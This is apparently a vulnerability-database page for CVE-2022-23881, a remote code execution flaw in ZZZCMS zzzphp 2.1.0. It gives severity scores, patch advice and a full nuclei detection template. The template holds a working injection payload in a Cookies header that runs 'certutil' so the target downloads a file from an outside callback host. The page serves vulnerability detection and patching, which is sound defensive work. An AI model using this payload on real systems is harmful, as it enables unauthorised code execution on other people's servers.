HexBrain

Browse / CVEs / CVE-2022-23881

CVE-2022-23881· zzzcms / zzzphp· CWE-77

ZZZCMS zzzphp 2.1.0 - Remote Code Execution

criticalseverity
9.8CVSS score
56.5%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

ZZZCMS zzzphp v2.1.0 is susceptible to a remote command execution vulnerability via danger_key() at zzz_template.php.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patch or upgrade to a patched version of ZZZCMS zzzphp.

How to confirm it

Send: GET /?location=search
Positive when: contains in interactsh_protocol "http" AND status 500

Run it with nuclei: nuclei -id CVE-2022-23881 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-23881

info:
  name: ZZZCMS zzzphp 2.1.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: ZZZCMS zzzphp v2.1.0 is susceptible to a remote command execution vulnerability via danger_key() at zzz_template.php.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of ZZZCMS zzzphp.
  reference:
    - https://github.com/metaStor/Vuls/blob/main/zzzcms/zzzphp%20V2.1.0%20RCE/zzzphp%20V2.1.0%20RCE.md
    - http://www.zzzcms.com
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23881
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-23881
    cwe-id: CWE-77
    epss-score: 0.56509
    epss-percentile: 0.99065
    cpe: cpe:2.3:a:zzzcms:zzzphp:2.1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zzzcms
    product: zzzphp
  tags: cve,cve2022,rce,zzzphp,zzzcms,vuln

http:
  - raw:
      - |
        GET /?location=search HTTP/1.1
        Host: {{Hostname}}
        Cookies: keys={if:=`certutil -urlcache -split -f https://{{interactsh-url}}/poc`}{end if}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from